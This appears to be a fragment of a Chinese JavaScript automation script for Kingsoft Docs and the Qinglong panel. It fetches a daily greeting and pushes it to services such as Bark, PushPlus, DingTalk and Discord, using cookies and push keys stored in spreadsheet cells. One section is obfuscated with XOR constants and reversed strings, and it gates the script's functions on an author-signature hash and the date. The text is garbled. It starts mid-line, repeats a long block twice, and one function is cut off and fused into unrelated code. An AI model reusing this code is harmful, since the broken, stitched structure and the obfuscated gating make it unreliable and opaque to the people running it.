t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 直推,调用就直接就进行推送 +function pushDirect(message) { + console.log("✨ 推送直推") + if (message != "") { + // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let length = jsonPush.length; + let name; + let key; + for (let i = 0; i < length; i++) { + if (jsonPush[i].flag == 1) { + name = jsonPush[i].name; + key = jsonPush[i].key; + if (name == "bark") { + bark(message, key); + } else if (name == "pushplus") { + pushplus(message, key); + } else if (name == "ServerChan") { + serverchan(message, key); + } else if (name == "email") { + email(message); + } else if (name == "dingtalk") { + dingtalk(message, key); + } else if (name == "discord") { + discord(message, key); + } + } + } + } else { + console.log("🍳 消息为空不推送"); + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i { + // // let message = `${index + 1}/${chunks.length}: ${chunk}`; + // bark(message, key) + // }); +} + + +// 消息分片,以换行符为分割,自动检索切割位置符号 +function splitMessage(data) { + let chunks = []; + let start = 0; + + while (start < data.length) { + let end = start + maxMessageLength; + if (end >= data.length) { + chunks.push(data.slice(start)); + break; + } + + // 查找距离 maxMessageLength 在 20 字符以内的最近的换行符 + let newlineIndex = data.lastIndexOf('【', end + parseInt(messageDistance)); + // console.log(newlineIndex) + if (newlineIndex > start && newlineIndex >= end - parseInt(messageDistance)) { + end = newlineIndex; + } + chunks.push(data.slice(start, end)); + start = end; + } + + return chunks +} + +// =================消息分片处理相关结束=================== + + +// 直接推送 +// 结果处理函数 +function resultHandle(resp, pos){ + // 每次进来resultHandle则加一次请求 + posHttp += 1 // 青龙适配,青龙微适配 + + let messageSuccess = ""; + let messageFail = ""; + let messageName = ""; + // 推送昵称或单元格,还是不推送位置标识 + if (messageNickname == 1) { + // 推送昵称或单元格 + messageName = Application.Range("C" + pos).Text; + if(messageName == "") + { + messageName = "单元格A" + pos + ""; + } + } + posLabel = pos-2 ; // 存放下标,从0开始 + // messageHeader[posLabel] = "👨‍🚀 " + messageName + messageHeader[posLabel] = "" + // console.log(messageName) + + // area = Range("D" + pos).Value2 + let url = "https://jkapi.com/api/zaoan?type=json" + resp = HTTP.fetch(url, { + method: "get", + headers: {}, + // data: data + }); + resp = resp.json() + // console.log(resp) + content = "🌞 " + resp["content"] + messageSuccess += content + + // 青龙适配,青龙微适配 + flagResultFinish = 1; // 结束 + + // 检查是否直接推送 + flag_pushdirect = Application.Range("D" + pos).Text + if(flag_pushdirect == "是") { + // console.log("🚀 直接推送") + // pushDirect(messageSuccess); + message = messageSuccess + // 方式1:按照指定分割符分片 separator + shards = message.split(separator); // // 分割符分片数据,一级分割 + let chunks = [] + for(let i=0; i{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 直推,调用就直接就进行推送 +function pushDirect(message) { + console.log("✨ 推送直推") + if (message != "") { + // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let length = jsonPush.length; + let name; + let key; + for (let i = 0; i < length; i++) { + if (jsonPush[i].flag == 1) { + name = jsonPush[i].name; + key = jsonPush[i].key; + if (name == "bark") { + bark(message, key); + } else if (name == "pushplus") { + pushplus(message, key); + } else if (name == "ServerChan") { + serverchan(message, key); + } else if (name == "email") { + email(message); + } else if (name == "dingtalk") { + dingtalk(message, key); + } else if (name == "discord") { + discord(message, key); + } + } + } + } else { + console.log("🍳 消息为空不推送"); + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": 